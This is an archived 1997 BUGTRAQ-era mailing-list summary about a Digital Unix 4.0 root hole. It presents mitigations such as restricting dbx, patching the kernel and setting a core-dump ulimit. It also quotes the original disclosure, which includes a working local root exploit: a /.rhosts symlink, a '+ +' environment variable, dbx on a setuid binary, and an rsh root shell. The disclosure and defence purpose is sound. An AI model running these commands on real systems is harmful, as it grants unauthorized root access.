Sorry this took so long... other projects, deadlines, etc.
Here's what I have learned: My previous summary (summary so far)
was a bit premature. The sym-link method seems to overwrite
/.rhosts no matter what the permissions are set to on that file.
Putting NO_PLUS in /etc/hosts.equiv seems to disable rlogins but
has no effect on rsh. According to Digital the best method is to
restrict access to dbx and kdbx by setting perms to 700, which is
what we are doing. They (dec) also say they have a patch which will
be in the next soon-to-be-released patch kit.
I am also including a fix that I saw on BUGTRAQ last night but I
haven't had a chance to test it yet. Once again, thanks for all
your help.
------------------------------------------------------------------
Another fix:
>From szabo_p_at_MATHS.SU.OZ.AUFri Nov 21 11:30:41 1997
Date: Fri, 21 Nov 1997 06:40:09 +1100
From: Paul Szabo <szabo_p_at_MATHS.SU.OZ.AU>
To: BUGTRAQ_at_NETSPACE.ORG
Subject: Re: digital unix 4.0 hole
[I sent this to bugtraq on 17 Nov, but maybe the moderator misplaced it...]
There are currently two threads of creating root-owned core files on dUNIX
machines. Tom Leffingwell <tom_at_sba.miami.edu> wrote:
> setenv DISPLAY abcdefghi
> /usr/bin/X11/xterm
and John McDonald <jmcdonal_at_OSPREY.UNF.EDU> suggested:
> If you run dbx (tested on 3.11.10) on a setuid root program ...
To avoid the problem of core file creation, Johan Danielsson
<joda_at_PDC.KTH.SE> said to patch /vmunix:
> # cp /vmunix /vmunix.save
> # dbx /vmunix
> (dbx) ((unsigned*)core+82)/1 i
> [core:5261, 0xfffffc000026ff48] and r1, r2, r1
> (dbx) patch *((unsigned*)core+82) = 0x203f0001
> [core:5261, 0xfffffc000026ff48] lda r1, 1(r31)
> (dbx) q
> # reboot
A colleague of mine suggests that, since /sbin/rc3.d starts anything a
user's process could be a descendant of, a simpler method might be to insert
one line into /sbin/rc3 :
ulimit -h -c 0
This solution seems to work for me (passed my limited testing).
Paul Szabo - System Manager // School of Mathematics and Statistics
psz_at_maths.usyd.edu.au // University of Sydney, NSW 2006, Australia
--------------------------------------------------------------------
Original Message:
I saw this message on BUGTRAQ, tested it, and sure enough it works!
We are running 4.0b with C2, patched up to jumbo 4. I was under the
impression that DU with C2 did not allow a "+ +" in the /.rhosts but
apparently it does. Here's the message:
-------------------------------------------------------------------
>From jmcdonal_at_OSPREY.UNF.EDUFri Nov 14 16:48:19 1997
Date: Fri, 14 Nov 1997 12:37:20 -0500
From: John McDonald <jmcdonal_at_OSPREY.UNF.EDU>
To: BUGTRAQ_at_NETSPACE.ORG
Subject: digital unix 4.0 hole
I've verified this on 3 boxes running Digital unix 4.0..
If you run dbx (tested on 3.11.10) on a setuid root program that you have
read access to, the program will core dump and create a root owned 600
perm core in the current directory. You might have to run dbx one or two
times to get it to work.. The message you are looking for is:
dbx version 3.11.10
Type 'help' for help.
warning: /bin/crontab has no symbol table -- very little is supported
without it
Could not attach to process 10112
cannot run program
Exiting due to error during startup
Now, this core dump will follow symlinks.. and using the trick mentioned
earlier with embedding + + in a core dump, you can easily grab root.
ln -s /.rhosts core
BOB42="
+ +
"
export BOB42
dbx /bin/crontab
rsh -l root localhost /bin/sh -i
I'm not sure this will work on other Digital Unix boxes, and I'm not sure
why it works.. So, email me if you get it to work.. I'm not sure, but I
think this might be a bug in the process-tracing implementation..
I think this will locate all of the vulnerable setuid binaries -
find / -perm -4004 -print
humble - jmcdonal_at_unf.edu
-------------------------------------------------------------------------
Kinda scary, huh?
-----------------------------------------------------------------------
Matt Moore N3LPH Bucks County Community College
E-mail: moorem_at_bucks.edu Swamp Road Newtown PA 18940
-----------------------------------------------------------------------
Windows 95: A 32-bit patch for a 16-bit GUI shell running on top of an
8-bit operating system written for a 4-bit processor by a 2-bit company
who cannot stand 1 bit of competition.
Received on Fri Nov 21 1997 - 18:17:18 NZDT